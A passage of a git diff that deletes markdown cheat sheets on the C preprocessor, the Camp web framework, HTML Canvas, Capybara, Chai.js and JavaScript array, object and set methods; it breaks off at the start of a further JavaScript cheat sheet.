@@ -1,96 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: C Preprocessor
-category: C-like
-
-intro: |
-Quick reference for the [C macro preprocessor](https://en.m.wikipedia.org/wiki/C_preprocessor), which can be used independent of C/C++.
-
----
-
-## Reference
-
-### Compiling
-
-```
-$ cpp -P file > outfile
-```
-
-### Includes
-
-```
-#include "file"
-```
-
-### Defines
-
-```
-#define FOO
-#define FOO "hello"
-
-#undef FOO
-```
-
-### If
-
-```
-#ifdef DEBUG
-  console.log('hi');
-#elif defined VERBOSE
-  ...
-#else
-  ...
-#endif
-```
-
-### Error
-
-```
-#if VERSION == 2.0
-  #error Unsupported
-  #warning Not really supported
-#endif
-```
-
-### Macro
-
-```
-#define DEG(x) ((x) * 57.29)
-```
-
-### Token concat
-
-```
-#define DST(name) name##_s name##_t
-DST(object);   #=> object_s object_t;
-```
-
-### Stringification
-
-```
-#define STR(name) #name
-char * a = STR(object);   #=> char * a = "object";
-```
-
-### file and line
-
-```
-#define LOG(msg) console.log(__FILE__, __LINE__, msg)
-#=> console.log("file.txt", 3, "hey")
-```
diff --git a/docs/content/cheat-sheets/camp.md b/docs/content/cheat-sheets/camp.md
deleted file mode 100644
index 014b598401..0000000000
--- a/docs/content/cheat-sheets/camp.md
+++ /dev/null
@@ -1,160 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: Camp
-
-category: JavaScript libraries
-weight: -1
-intro: |
-[Camp](https://github.com/espadrine/sc/) is a Node.js web server framework. This guide targets Camp v17.x.
-
----
-
-## Getting started
-
-### Quick start
-
-#### app.js
-
-{: .-file}
-
-```js
-const Camp = require('camp');
-const camp = Camp.start({ port: 1234 });
-```
-
-#### web/index.html
-
-{: .-file}
-
-```html
-<!DOCTYPE html>
-<body>
-    Hello world!
-</body>
-```
-
-Camp serves files in `web/` by default.
-
-### Routes
-
-#### Handles `/search?q=rainbows`
-
-```js
-camp.path('/search', (req, res) => {
-  const q = res.query.q
-  res.json({ results: ··· })
-})
-```
-
-{: data-line="2"}
-
-Also available: `camp.post`, `camp.get`.
-
-### Templates
-
-```js
-const tpl = Camp.template('./templates/post.html');
-
-camp.path('/blog/:post.html', (req, res) => {
-    res.template(
-        {
-            text: 'Hello world'
-        },
-        tpl
-    );
-});
-```
-
-{: data-line="1,4"}
-
-See: [Templates](https://github.com/espadrine/sc/blob/master/doc/Readme.md#templates)
-
-### Not found
-
-```js
-camp.notFound('/*.lol', (req, res) => {
-    res.file('/404.html');
-});
-```
-
-{: data-line="1"}
-
-See: [Fall through](https://github.com/espadrine/sc/blob/master/doc/Readme.md#fall-through)
-
-### Low level handler
-
-```js
-camp.handle((req, res, next) => {
-    res.setHeader('X-Hello', 'world');
-    next();
-});
-```
-
-{: data-line="1"}
-
-See: [Handlers](https://github.com/espadrine/sc/blob/master/doc/Readme.md#handlers)
-
-## Templates
-
-### Basic templates
-
-```js
-const tpl = Camp.template('/templates/post.html');
-
-camp.path('/blog/:post.html', (req, res) => {
-    res.template(
-        {
-            text: 'Hello world'
-        },
-        tpl
-    );
-});
-```
-
-{: data-line="1,4,5,6"}
-
-### Implicit templates
-
-```js
-camp.path('blog.html');
-```
-
-Uses `blog.html` as a template.
-
-See: [Templates](https://github.com/espadrine/sc/blob/master/doc/Readme.md#templates)
-
-## Advanced features
-
-### Web sockets
-
-```js
-camp.ws('/path', (socket) => { ··· })
-```
-
-```js
-camp.wsChannels[path];
-```
-
-```js
-camp.wsBroadcast('/path', (req, res) => {});
-```
-
-Sorry I don't completely understand this yet, but check it out in their docs.
-
-See: [WebSocket](https://github.com/espadrine/sc/blob/master/doc/Readme.md#websocket)
diff --git a/docs/content/cheat-sheets/canvas.md b/docs/content/cheat-sheets/canvas.md
deleted file mode 100644
index 00fca45bb9..0000000000
--- a/docs/content/cheat-sheets/canvas.md
+++ /dev/null
@@ -1,130 +0,0 @@
-# Canvas
-
-#### Getting the context
-
-```js
-var canvas = document.getElementById('c');
-var c = canvas.getContext('2d');
-```
-
-#### Basic drawing
-
-```js
-// x = 10, y = 20, width = 200, height = 100
-c.fillStyle = '#ff0000';
-c.strokeStyle = '#ff00ff';
-```
-
-```js
-c.lineWidth = 5;
-c.lineCap = 'round';
-```
-
-```js
-c.fillRect(10, 20, 200, 100);
-```
-
-```js
-c.stroke();
-c.fill();
-```
-
-#### Saving and restoring
-
-```js
-c.save();
-```
-
-```js
-c.restore();
-```
-
-Saves: `strokeStyle` `fillStyle` `globalAlpha` `lineWidth` `lineCap` `lineJoin` `miterLimit` `shadowOffsetX` `shadowOffsetY` `shadowBlur` `shadowColor` `globalCompositeOperation`, Transformations (`translate` `rotate` `scale` `transform` `setTransform`), Clipping path
-
-#### Animation
-
-```js
-onframe: function() {
-  c.clearRect(0, 0, w, h)
-}
-```
-
-#### Transformations
-
-```js
-c.translate(0, 0);
-c.rotate((Math.PI * 2) / 5);
-c.scale(1.0, 1.0);
-```
-
-To rotate along origin:
-
-```js
-c.translate(ox, oy);
-c.rotate(theta);
-c.translate(-ox, -oy);
-```
-
-To scale along origin:
-
-```js
-c.translate(-ox * x, -oy * y);
-c.scale(x, y);
-c.translate(ox / x, oy / y);
-```
-
-See [MDN: Transformations](https://developer.mozilla.org/en-US/docs/Canvas_tutorial/Transformations).
-
-#### Image drawing
-
-```js
-c.drawImage(image, dx, dy, [dw, dh]);
-/* `image` can be HTML Image/Canvas/Video */
-```
-
-See [MDN: Images](https://developer.mozilla.org/en-US/docs/Canvas_tutorial/Using_images).
-
-#### Colors, styles shadows
-
-```js
-c.strokeStyle = '#ff00ff';
-c.fillStyle = '#ff00ff';
-```
-
-```js
-c.shadowOffsetX = 0;
-c.shadowOffsetY = 0;
-c.shadowOffsetBlur = 3.0;
-c.shadowColor = 'rgba(0,0,0,0.2)';
-```
-
-See [MDN: Styles](https://developer.mozilla.org/en-US/docs/Canvas_tutorial/Applying_styles_and_colors)
-
-#### Gradients
-
-```js
-gr = c.createLinearGradient(x0, y0, x1, y1);
-gr = c.createRadialGradient(x0, y0, r0, x1, y1, r1);
-pat = c.createPattern(image, 'repeat-x');
-```
-
-```js
-c.fillStyle = gr;
-```
-
-#### Drawing
-
-```js
-c.beginPath()
-c.moveTo(x,y)
-c.lineTo(x,y)
-c.quadraticCurveTo(cpx,cpy,x,y)
-c.bezierCurveTo(cp1x,cp1y,cp2x,cp2y)
-c.arcTo(...)
-c.arc(...)
-c.closePath()
-```
-
-#### More resources
-
--   [Canvas Cheatsheet PDF](http://www.nihilogic.dk/labs/canvas_sheet/HTML5_Canvas_Cheat_Sheet.pdf)
diff --git a/docs/content/cheat-sheets/capybara.md b/docs/content/cheat-sheets/capybara.md
deleted file mode 100644
index 30b4157c0a..0000000000
--- a/docs/content/cheat-sheets/capybara.md
+++ /dev/null
@@ -1,359 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: Capybara
-category: Ruby libraries
-
-weight: -5
-tags: [Featurable]
-
----
-
-### Navigating
-
-    visit articles_path
-
-### Clicking links and buttons
-
-```ruby
-click_on 'Link Text'
-click_button
-click_link
-```
-
-### Interacting with forms
-
-```ruby
-attach_file 'Image', '/path/to/image.jpg'
-fill_in 'First Name', with: 'John'
-```
-
-```ruby
-check 'A checkbox'
-uncheck 'A checkbox'
-```
-
-```ruby
-choose 'A radio button'
-```
-
-```ruby
-select 'Option', from: 'Select box'
-unselect
-```
-
-### Limiting
-
-```ruby
-within '.classname' do
-  click '...'
-end
-```
-
-```ruby
-within_fieldset :id do
-  ...
-end
-```
-
-## Querying
-
-### Predicates
-
-```ruby
-page.has_css?('.button')
-expect(page).to have_css('.button')
-page.should have_css('.button')
-```
-
-{: .-setup}
-
-| Positive                          | Negative               |
-| --------------------------------- | ---------------------- |
-| `has_content?`                    | `has_no_content?`      |
-| ---                               | ---                    |
-| `has_css?` _(selector)_           | `has_no_css?`          |
-| ---                               | ---                    |
-| `has_xpath?` _(path)_             | `has_no_xpath?`        |
-| ---                               | ---                    |
-| `has_link?` _(selector)_          | `has_no_link?`         |
-| ---                               | ---                    |
-| `has_button?` _(selector)_        | `has_no_button?`       |
-| ---                               | ---                    |
-| `has_field?` _(selector)_         | `has_no_field?`        |
-| ---                               | ---                    |
-| `has_checked_field?` _(selector)_ | `has_unchecked_field?` |
-| ---                               | ---                    |
-| `has_table?` _(selector)_         | `has_no_table?`        |
-| ---                               | ---                    |
-| `has_select?` _(selector)_        | `has_no_select?`       |
-
-{: .-headers.-left-align}
-
-In Rspec, these also map to matchers like `page.should have_content`.
-
-### Selectors
-
-```ruby
-expect(page).to have_button('Save')
-```
-
-```ruby
-expect(page).to have_button('#submit')
-```
-
-```ruby
-expect(page).to have_button('//[@id="submit"]')
-```
-
-The `selector` arguments can be text, CSS selector, or XPath expression.
-
-### RSpec assertions
-
-```ruby
-page.has_button?('Save')
-```
-
-```ruby
-expect(page).to have_no_button('Save')
-```
-
-In RSpec, you can use `page.should` assertions.
-
-### About negatives
-
-```ruby
-expect(page).to have_no_button('Save')   # OK
-```
-
-```ruby
-expect(page).not_to have_button('Save')  # Bad
-```
-
-Use `should have_no_*` versions with RSpec matchers because
-`should_not have_*` doesn't wait for a timeout from the driver.
-
-## RSpec
-
-### Matchers
-
-```ruby
-expect(page).to \
-```
-
-{: .-setup}
-
-```ruby
-  have_selector '.blank-state'
-  have_selector 'h1#hola', text: 'Welcome'
-  have_button 'Save'
-  have_checked_field '#field'
-  have_unchecked_field
-  have_css '.class'
-  have_field '#field'
-  have_table '#table'
-  have_xpath '//div'
-```
-
-```ruby
-  have_link 'Logout', href: logout_path
-```
-
-```ruby
-  have_select 'Language',
-    selected: 'German'
-    options: ['Engish', 'German']
-    with_options: ['Engish', 'German'] # partial match
-```
-
-```ruby
-  have_text 'Hello',
-    type: :visible # or :all
-    # alias: have_content
-```
-
-### Common options
-
-All matchers have these options:
-{: .-setup}
-
-```ruby
-  text: 'welcome'
-  text: /Hello/
-  visible: true
-  count: 4
-  between: 2..5
-  minimum: 2
-  maximum: 5
-  wait: 10
-```
-
-## Other features
-
-### Finding
-
-```ruby
-find(selector)
-find_button(selector)
-find_by_id(id)
-find_field(selector)
-find_link(selector)
-locate
-```
-
-### Scoping
-
-```ruby
-within '#delivery' do
-  fill_in 'Street', with: 'Hello'
-end
-```
-
-```ruby
-within :xpath, '//article'
-within_fieldset
-within_table
-within_frame
-scope_to
-```
-
-```ruby
-find('#x').fill_in('Street', with: 'Hello')
-# same as within
-```
-
-### Scripting
-
-```ruby
-execute_script('$("input").trigger("change")')
-evaluate_script('window.ga')
-```
-
-Executes JavaScript.
-
-### Debugging
-
-```ruby
-save_and_open_page
-```
-
-Opens the webpage in your browser.
-
-### Page
-
-```ruby
-page
-  .all('h3')
-  .body
-  .html
-  .source
-  .current_host
-  .current_path
-  .current_url
-```
-
-### AJAX
-
-```ruby
-using_wait_time 10 do
-  ...
-end
-```
-
-### Misc
-
-    drag
-    field_labeled
-
-### Page object
-
-```ruby
-page.status_code == 200
-page.response_headers
-```
-
-See: <http://www.rubydoc.info/github/jnicklas/capybara/master/Capybara/Session>
-
-### Poltergeist
-
-```ruby
-Capybara.register_driver :poltergeist do |app|
-  Capybara::Poltergeist::Driver.new(app, :inspector => true)
-end
-Capybara.javascript_driver = :poltergeist
-```
-
-Use [poltergeist](https://github.com/teampoltergeist/poltergeist) to integrate PhantomJS.
-
-### Blacklist
-
-```ruby
-config.before :each, :js do
-  page.driver.browser.url_blacklist = [
-    'fonts.googleapis.com',
-    'use.typekit.net',
-    'f.vimeocdn.com',
-    'player.vimeo.com',
-    'www.googletagmanager.com'
-  ].flat_map { |domain| [ "http://#{domain}", "https://#{domain}" ] }
-end
-```
-
-### Debugging
-
-Enable `inspector: true` and then:
-{: .-setup}
-
-```ruby
-page.driver.debug
-```
-
-To pause execution for a while:
-
-```ruby
-page.driver.pause
-```
-
-## Selenium
-
-### Accepting confirm() and alert()
-
-```ruby
-accept_alert { ... }
-dismiss_confirm { ... }
-accept_prompt(with: 'hi') { ... }
-```
-
-Alternatively:
-
-```ruby
-page.driver.browser.switch_to.alert.accept
-```
-
-### Updating session
-
-```ruby
-page.set_rack_session(foo: 'bar')
-```
-
-## See also
-
-{: .-one-column}
-
--   <http://rubydoc.info/github/jnicklas/capybara/Capybara/RSpecMatchers>
--   <http://www.rubydoc.info/github/jnicklas/capybara/master/Capybara/Node/Matchers>
diff --git a/docs/content/cheat-sheets/chai.js.md b/docs/content/cheat-sheets/chai.js.md
deleted file mode 100644
index 4d50c42bcf..0000000000
--- a/docs/content/cheat-sheets/chai.js.md
+++ /dev/null
@@ -1,187 +0,0 @@
-# Chai.js
-
-#### Assert
-
-```js
-const { assert } = require('chai');
-```
-
-{: .-setup}
-
-```js
-assert(val);
-assert.fail(actual, expected);
-assert.ok(val); // is truthy
-assert.equal(actual, expected); // compare with ==
-assert.strictEqual(actual, expected); // compare with ===
-assert.deepEqual(actual, expected); // deep equal check
-```
-
-```js
-assert.isTrue(val);
-assert.isFalse(val);
-```
-
-```js
-assert.isNull(val);
-assert.isNotNull(val);
-assert.isUndefined(val);
-assert.isDefined(val);
-assert.isFunction(val);
-assert.isObject(val);
-assert.isArray(val);
-assert.isString(val);
-assert.isNumber(val);
-assert.isBoolean(val);
-```
-
-```js
-assert.typeOf(/tea/, 'regexp'); // Object.prototype.toString()
-assert.instanceOf(chai, Tea);
-assert.include([a, b, c], a);
-assert.match(val, /regexp/);
-assert.property(obj, 'tea'); // 'tea' in object
-assert.deepProperty(obj, 'tea.green');
-assert.propertyVal(person, 'name', 'John');
-assert.deepPropertyVal(post, 'author.name', 'John');
-```
-
-```js
-assert.lengthOf(object, 3)
-assert.throws(function() { ... })
-assert.throws(function() { ... }, /reference error/)
-assert.doesNotThrow
-```
-
-```js
-assert.operator(1, '<', 2);
-assert.closeTo(actual, expected);
-```
-
-See: [Assert API](http://chaijs.com/api/assert/) _(chaijs.com)_
-
-#### BDD syntax
-
-```js
-const { expect } = require('chai');
-```
-
-{: .-setup}
-
-```js
-expect(object)
-    .to.equal(expected)
-    .to.eql(expected) // deep equality
-    .to.deep.equal(expected) // same as .eql
-    .to.be.a('string')
-    .to.include(val);
-```
-
-```js
-  .be.ok(val)
-  .be.true
-  .be.false
-  .to.exist
-```
-
-```js
-  .to.be.null
-  .to.be.undefined
-  .to.be.empty
-  .to.be.arguments
-  .to.be.function
-  .to.be.instanceOf
-```
-
-```js
-  .to.be.gt(5)  // aka: .above .greaterThan
-  .to.be.gte(5) // aka: .at.least
-  .to.be.lt(5)  // aka: .below
-```
-
-```js
-  .to.respondTo('bar')
-  .to.satisfy((n) => n > 0)
-```
-
-```js
-  .to.have.members([2, 3, 4])
-  .to.have.keys(['foo'])
-  .to.have.key('foo')
-  .to.have.lengthOf(3)
-```
-
-```js
-expect(() => { ··· })
-  .to.throw(/not a function/)
-```
-
-See: [BDD](http://chaijs.com/api/bdd/) _(chaijs.com)_
-
-#### Should: chains
-
-```
-.to .be .been .is .that .and .have .with .at .of .same
-```
-
-These don't do anything and can be chained.
-
-#### Should not
-
-```js
-expect(object).not.equal('x');
-```
-
-### Chai with jQuery
-
-#### Using chai-jquery
-
-```js
-global.jQuery = ···
-chai.use(require('chai-jquery'))
-```
-
-{: .-setup}
-
-```js
-expect($body).have.attr('foo').have.prop('disabled').have.css('background').have.css('background-color', '#ffffff').have.data('foo');
-```
-
-```js
-  .have.class('active')
-  .have.id('id')
-```
-
-```js
-  .have.html('<em>hi</em>')
-  .have.text('hello')
-  .have.value('2013')
-```
-
-#### Continued
-
-```js
-expect($body);
-```
-
-```js
-  .be.visible
-  .be.hidden
-```
-
-```js
-  .be.checked
-  .be.selected
-```
-
-```js
-  .be.enabled
-  .be.disabled
-```
-
-```js
-  .be.empty
-  .to.exist
-  .to.contain('text')
-  .to.have('.selector')
-```
diff --git a/docs/content/cheat-sheets/chai.md b/docs/content/cheat-sheets/chai.md
deleted file mode 100644
index bd8ad3d0ff..0000000000
--- a/docs/content/cheat-sheets/chai.md
+++ /dev/null
@@ -1,211 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: Chai.js
-category: JavaScript libraries
-
-weight: -3
-version: chai v4.x
-description: |
-expect(x).to.be.equal(y) 〉 assert.equal(x, y) 〉 .to.be.true 〉 jQuery, assertions, TDD and BDD, and other Chai examples.
-
----
-
-### Assert
-
-```js
-const { assert } = require('chai');
-```
-
-{: .-setup}
-
-```js
-assert(val);
-assert.fail(actual, expected);
-assert.ok(val); // is truthy
-assert.equal(actual, expected); // compare with ==
-assert.strictEqual(actual, expected); // compare with ===
-assert.deepEqual(actual, expected); // deep equal check
-```
-
-```js
-assert.isTrue(val);
-assert.isFalse(val);
-```
-
-```js
-assert.isNull(val);
-assert.isNotNull(val);
-assert.isUndefined(val);
-assert.isDefined(val);
-assert.isFunction(val);
-assert.isObject(val);
-assert.isArray(val);
-assert.isString(val);
-assert.isNumber(val);
-assert.isBoolean(val);
-```
-
-```js
-assert.typeOf(/tea/, 'regexp'); // Object.prototype.toString()
-assert.instanceOf(chai, Tea);
-assert.include([a, b, c], a);
-assert.match(val, /regexp/);
-assert.property(obj, 'tea'); // 'tea' in object
-assert.deepProperty(obj, 'tea.green');
-assert.propertyVal(person, 'name', 'John');
-assert.deepPropertyVal(post, 'author.name', 'John');
-```
-
-```js
-assert.lengthOf(object, 3)
-assert.throws(function() { ... })
-assert.throws(function() { ... }, /reference error/)
-assert.doesNotThrow
-```
-
-```js
-assert.operator(1, '<', 2);
-assert.closeTo(actual, expected);
-```
-
-See: [Assert API](http://chaijs.com/api/assert/) _(chaijs.com)_
-
-### BDD syntax
-
-```js
-const { expect } = require('chai');
-```
-
-{: .-setup}
-
-```js
-expect(object)
-    .to.equal(expected)
-    .to.eql(expected) // deep equality
-    .to.deep.equal(expected) // same as .eql
-    .to.be.a('string')
-    .to.include(val);
-```
-
-```js
-  .be.ok(val)
-  .be.true
-  .be.false
-  .to.exist
-```
-
-```js
-  .to.be.null
-  .to.be.undefined
-  .to.be.empty
-  .to.be.arguments
-  .to.be.function
-  .to.be.instanceOf
-```
-
-```js
-  .to.be.gt(5)  // aka: .above .greaterThan
-  .to.be.gte(5) // aka: .at.least
-  .to.be.lt(5)  // aka: .below
-```
-
-```js
-  .to.respondTo('bar')
-  .to.satisfy((n) => n > 0)
-```
-
-```js
-  .to.have.members([2, 3, 4])
-  .to.have.keys(['foo'])
-  .to.have.key('foo')
-  .to.have.lengthOf(3)
-```
-
-```js
-expect(() => { ··· })
-  .to.throw(/not a function/)
-```
-
-See: [BDD](http://chaijs.com/api/bdd/) _(chaijs.com)_
-
-### Should: chains
-
-    .to .be .been .is .that .and .have .with .at .of .same
-
-These don't do anything and can be chained.
-
-### Should not
-
-```js
-expect(object).not.equal('x');
-```
-
-## Chai with jQuery
-
-### Using chai-jquery
-
-```js
-global.jQuery = ···
-chai.use(require('chai-jquery'))
-```
-
-{: .-setup}
-
-```js
-expect($body).have.attr('foo').have.prop('disabled').have.css('background').have.css('background-color', '#ffffff').have.data('foo');
-```
-
-```js
-  .have.class('active')
-  .have.id('id')
-```
-
-```js
-  .have.html('<em>hi</em>')
-  .have.text('hello')
-  .have.value('2013')
-```
-
-### Continued
-
-```js
-expect($body);
-```
-
-```js
-  .be.visible
-  .be.hidden
-```
-
-```js
-  .be.checked
-  .be.selected
-```
-
-```js
-  .be.enabled
-  .be.disabled
-```
-
-```js
-  .be.empty
-  .to.exist
-  .to.contain('text')
-  .to.have('.selector')
-```
diff --git a/docs/content/cheat-sheets/cheat-sheet-for-beginners-javascript-data-structures-methods.md b/docs/content/cheat-sheets/cheat-sheet-for-beginners-javascript-data-structures-methods.md
deleted file mode 100644
index d8c0cbc268..0000000000
--- a/docs/content/cheat-sheets/cheat-sheet-for-beginners-javascript-data-structures-methods.md
+++ /dev/null
@@ -1,263 +0,0 @@
-# Cheat Sheet for Beginners: JavaScript Data Structures Methods
-
-> References: JavaScript: The Good Parts by Douglas Crockford, 2008. Page 78-93. Mozilla JavaScript R...
-
-**References:**
-
-1. JavaScript: The Good Parts by Douglas Crockford, 2008. Page 78-93.
-2. [Mozilla JavaScript Reference: Array](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array)
-3. [Mozilla JavaScript Reference: Object](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object)
-4. [Mozilla JavaScript Reference: Set](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set)
-
-    ***
-
-There are two ways you learn about available methods in programming languages:
-
-1. You find yourself with a problem that needs a solution that prompts you to search for it.
-2. You read about it; be it from the documentation or some article.
-
-This article serves as my notes from reading "JavaScript: The Good Parts by Douglas Crockford, 2008. Page 78-93". While this cheat sheet is inspired by the book, it is also created with reference from [MDN Web docs](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference) to keep updated.
-
----
-
-> This cheat sheet focus **ONLY** on **methods** for **SOME** Data Structures in JavaScript
-
-## 1. Arrays
-
-What's an Array? The way I visualize it is a table. Below is an example of how an array would look like.
-
-| index | value                                                                                                                                     |
-| ----- | ----------------------------------------------------------------------------------------------------------------------------------------- |
-| 0     | this is the first value, stored at zero position                                                                                          |
-| 1     | the index of an array **runs in sequence**                                                                                                |
-| 2     | this could be useful for storing data that are required to be ordered, such as rankings or queues                                         |
-| 3     | in JavaScript, array's value could be mixed; meaning value of each index could be of different data, be it String, Number or even Objects |
-
-```
-// 1. Creating Arrays
-let firstArray = ["a","b","c"];
-let secondArray = ["d","e","f"];
-
-// 2. Access an Array Item
-console.log(firstArray[0]); // Results: "a"
-
-// 3. Loop over an Array
-firstArray.forEach(function(item, index, array){
-    console.log(item, index);
-});
-// Results:
-// a 0
-// b 1
-// c 2
-
-// 4. Add new item to END of array
-secondArray.push('g');
-console.log(secondArray);
-// Results: ["d","e","f", "g"]
-
-// 5. Remove item from END of array
-secondArray.pop();
-console.log(secondArray);
-// Results: ["d","e","f"]
-
-// 6. Remove item from FRONT of array
-secondArray.shift();
-console.log(secondArray);
-// Results: ["e","f"]
-
-// 7. Add item to FRONT of array
-secondArray.unshift("d");
-console.log(secondArray);
-// Results: ["d","e","f"]
-
-// 8. Find INDEX of an item in array
-let position = secondArray.indexOf('f');
-// Results: 2
-
-// 9. Remove Item by Index Position
-secondArray.splice(position, 1);
-console.log(secondArray);
-// Note, the second argument, in this case "1",
-// represent the number of array elements to be removed
-// Results:  ["d","e"]
-
-// 10. Copy an Array
-let shallowCopy = secondArray.slice();
-console.log(secondArray);
-console.log(shallowCopy);
-// Results: ShallowCopy === ["d","e"]
-
-// 11. JavaScript properties that BEGIN with a digit MUST be accessed using bracket notation
-renderer.3d.setTexture(model, 'character.png');     // a syntax error
-renderer['3d'].setTexture(model, 'character.png');  // works properly
-
-// 12. Combine two Arrays
-let thirdArray = firstArray.concat(secondArray);
-console.log(thirdArray);
-// ["a","b","c", "d", "e"];
-
-// 13. Combine all Array elements into a string
-console.log(thirdArray.join()); // Results: a,b,c,d,e
-console.log(thirdArray.join('')); // Results: abcde
-console.log(thirdArray.join('-')); // Results: a-b-c-d-e
-
-// 14. Reversing an Array (in place, i.e. destructive)
-console.log(thirdArray.reverse()); // ["e", "d", "c", "b", "a"]
-
-// 15. sort
-let unsortedArray = ["Alphabet", "Zoo", "Products", "Computer Science", "Computer"];
-console.log(unsortedArray.sort());
-// Results: ["Alphabet", "Computer", "Computer Science", "Products", "Zoo" ]
-```
-
-## 2. Objects
-
-Think of objects as a logical grouping of a bunch of properties. Properties could be some variable that it's storing or some methods that it's using. I also visualize an object as a table. The main difference is that object's "index" need not be numbers and is not necessarily sequenced.
-
-| properties    | value                                                                                                                                                                            |
-| ------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| name          | "I'm an object"                                                                                                                                                                  |
-| data          | \["You can add an array as a property", "Recall that array is a sequenced list of items", "but just because it's sequenced, doesn't means you can only use it for that purpose"] |
-| function_name | `function(parameters){//do something}`                                                                                                                                           |
-
-```
-// 16. Creating an Object
-
-let newObj = {
-    name: "I'm an object",
-    values: [1,10,11,20],
-    others: '',
-    "1property": 'example of property name starting with digit'
-
-};
-
-// 17. Figure out what keys/properties are in an object
-console.log(Object.keys(newObj));
-// Results: [ 'name', 'values', 'others', '1property' ]
-
-// 18. Show all values stored in the object
-console.log(Object.values(newObj));
-
-// Results:
-// [ 'I\'m an object',
-//   [ 1, 10, 11, 20 ],
-//   '',
-//   'example of property name starting with digit' ]
-
-// 19. Show all key and values of the object
-for (let [key, value] of Object.entries(newObj)) {
-    console.log(`${key}: ${value}`);
-}
-// Results:
-// name: I'm an object
-// values: 1,10,11,20
-// others:
-// 1property: example of property name starting with digit
-
-// 20. Accessing Object's Properties
-// Two different ways to access properties, both produce same results
-console.log(newObj.name);
-console.log(newObj["name"]);
-
-// But if the property name starts with a digit,
-// we CANNOT use dot notation
-console.log(newObj["1property"]);
-
-// 21. Adding a Method to an Object
-newObj.helloWorld = function(){
-    console.log("Hello World from inside an object!");
-}
-
-// 22. Invoking an Object's Method
-newObj.helloWorld();
-```
-
-## 3. Sets
-
-Lastly, Sets are pretty much what it sounds like. It's the same intuition as Set in Mathematics. I visualize Sets as Venn Diagrams.
-
-```
-// 23. Creating a new Set
-let newSet = new Set();
-
-// 24. Adding new elements to a set
-newSet.add(1); // Set[1]
-newSet.add("text") // Set[1, "text"]
-
-// 25. Check if element is in set
-newSet.has(1); // true
-
-// 24. Check size of set
-console.log(newSet.size) // Results: 2
-
-// 26. Delete element from set
-newSet.delete(1) // Set["text"]
-
-// 27. Set Operations: isSuperSet
-function isSuperset(set, subset) {
-    for (let elem of subset) {
-        if (!set.has(elem)) {
-            return false;
-        }
-    }
-    return true;
-}
-// 28. Set Operations: union
-function union(setA, setB) {
-    let _union = new Set(setA);
-    for (let elem of setB) {
-        _union.add(elem);
-    }
-    return _union;
-}
-
-// 29. Set Operations: intersection
-function intersection(setA, setB) {
-    let _intersection = new Set();
-    for (let elem of setB) {
-        if (setA.has(elem)) {
-            _intersection.add(elem);
-        }
-    }
-    return _intersection;
-}
-// 30. Set Operations: symmetricDifference
-function symmetricDifference(setA, setB) {
-    let _difference = new Set(setA);
-    for (let elem of setB) {
-        if (_difference.has(elem)) {
-            _difference.delete(elem);
-        } else {
-            _difference.add(elem);
-        }
-    }
-    return _difference;
-}
-// 31. Set Operations: difference
-function difference(setA, setB) {
-    let _difference = new Set(setA);
-    for (let elem of setB) {
-        _difference.delete(elem);
-    }
-    return _difference;
-}
-
-// Examples
-let setA = new Set([1, 2, 3, 4]);
-let setB = new Set([2, 3]);
-let setC = new Set([3, 4, 5, 6]);
-
-console.log(isSuperset(setA, setB));            // => true
-console.log(union(setA, setC));                 // => Set [1, 2, 3, 4, 5, 6]
-console.log(intersection(setA, setC));          // => Set [3, 4]
-console.log(symmetricDifference(setA, setC));   // => Set [1, 2, 5, 6]
-console.log(difference(setA, setC));            // => Set [1, 2]
-```
-
----
-
-**Article Updates:**
-
--   **25 Dec 19.** Added some description to each of the data structure. Credits: [@bam92](https://dev.to/bam92)
-
-[Source](https://dev.to/tangweejieleslie/cheat-sheet-for-beginners-javascript-data-structures-methods-25l4)
diff --git a/docs/content/cheat-sheets/cheatsheet-3.md b/docs/content/cheat-sheets/cheatsheet-3.md
deleted file mode 100644
index 43f58faa06..0000000000
--- a/docs/content/cheat-sheets/cheatsheet-3.md
+++ /dev/null
@@ -1,2825 +0,0 @@
-# CHEATSHEET
-
-## Vanilla JS
-
-> Global object: properties
-
-```js
-Object.length(obj);
-```
-
-> length is a property of a function object, and indicates how many arguments the function expects, i.e. the number of formal parameters. This number does not include the rest parameter. Has a value of 1.
-
-```js
-Object.prototype;
-```
-
-> Represents the Object prototype object and allows to add new properties and methods to all objects of type Object. Methods of the Object constructor
-
-```js
-Object.assign(target, ...sources);
-```
-
-> Copies the values of all enumerable own properties from one or more source objects to a target object. method is used to copy the values of all enumerable own properties from one or more source objects to a target object. It will return the target object
-
-```js
-Object.create(MyObject);
-```
-
-> Creates a new object with the specified prototype object and properties. The object which should be the prototype of the newly-created object.
-
-```js
-Object.defineProperty(obj, prop, descriptor);
-```
-
-> Adds the named property described by a given descriptor to an object.
-
-```js
-Object.defineProperties(obj, props);
-```
-
-> Adds the named properties described by the given descriptors to an object.
-
-```js
-Object.entries(obj);
-```
-
-> Returns an array containing all of the \[key, value] pairs of a given object's own enumerable string properties.
-
-```js
-Object.freeze(obj);
-```
-
-> Freezes an object: other code can't delete or change any properties.
-
-```js
-Object.getOwnPropertyDescriptor(obj, prop);
-```
-
-> Returns a property descriptor for a named property on an object.
-
-```js
